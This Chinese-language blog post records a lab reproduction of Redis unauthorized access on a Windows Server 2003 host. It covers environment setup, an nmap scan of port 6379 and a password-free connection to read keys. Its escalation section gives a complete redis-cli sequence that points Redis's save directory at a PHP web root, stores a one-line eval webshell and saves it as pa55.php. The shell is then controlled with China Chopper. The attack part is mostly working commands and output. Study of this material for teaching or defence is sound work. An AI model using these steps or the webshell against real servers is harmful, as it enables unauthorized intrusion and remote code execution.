Redis未授权访问

时间:2021-02-28 17:23:59

最近在做校招题目的时候发现有问到未授权访问,特此搭建了诸多未授权访问的环境并且一一复现并做简单总结。再此记录下来

环境介绍

 Redis未授权访问

 

0x00环境搭建

我这里用到的是Microsoft(R) Windows(R) Server 2003, Enterprise Edition 32位服务器,所以下载的是32位的redis,如果是64位的请下载对应的版本

下载地址:https://github.com/MSOpenTech/redis/releases

下载下来的压缩包将其放入C盘根目录,重命名为Redis。打开一个 CMD 窗口,cd 进入到 C:\Redis,输入 redis-server.exe Redis.conf

回车之后,如果显示如下界面就证明成功了

 Redis未授权访问

 

看到这个界面之后,此时另起一个 CMD 窗口,同样通过 cd 进入 C:\Redis 输入 redis-cli.exe -h 127.0.0.1 -p 6379

之后设置key值 set key zxc

取出key值 get key

Redis未授权访问

 在这里环境就已经搭建完成

 0x01攻击方法

1.使用nmap获取目标端口信息

因为Redis默认端口号为6379,因此我们对6379端口进行扫描

1  nmap -A -p 6379 -script redis-info 192.168.50.130

Redis未授权访问

 这里看到,已经获取到了Redis的相关信息。

2.通过Redis未授权访问获取敏感信息

Redis在默认配置的情况下,是空口令,并且如果其默认端口6379对外开放的话,则可以远程访问,因此默认配置下的Redis我们可以直接连接并获取敏感信息。

1 ./redis-cli -h 192.168.50.130
2 
3 info

 Redis未授权访问

查看里面对应的key值

keys *

get key

Redis未授权访问

 0x02 深化攻击

一、结合Web服务获取Webshell

1.1 环境搭建

在服务器搭建好Web服务器,这里为了方便,使用Phpstudy来进行搭建

1.2 通过redis未授权向网站根目录写入一句话木马,然后用菜刀链接,从而获得Webshell

Redis Config Set 命令 - 修改 redis 配置参数,无需重启

root@kali:~/redis-2.8.17/src# ./redis-cli -h 192.168.50.130
192.168.50.130:6379> CONFIG SET dir C://phpstudy/PHPTutorial/WWW
OK
192.168.50.130:6379> set Webshell "<?php @eval($_POST[cmd]);?>"
OK
192.168.50.130:6379> CONFIG SET dbfilename pa55.php
OK
192.168.50.130:6379> save
OK

此时,就已经在C://phpstudy/PHPTutorial/WWW目录下写入了一个内容为 "<?php @eval($_POST[cmd]);?>" ,文件名为 pa55.php 的php一句话木马

Redis未授权访问

1.3通过菜刀连接:

Redis未授权访问

文件管理界面

Redis未授权访问

查看ipconfig信息:

Redis未授权访问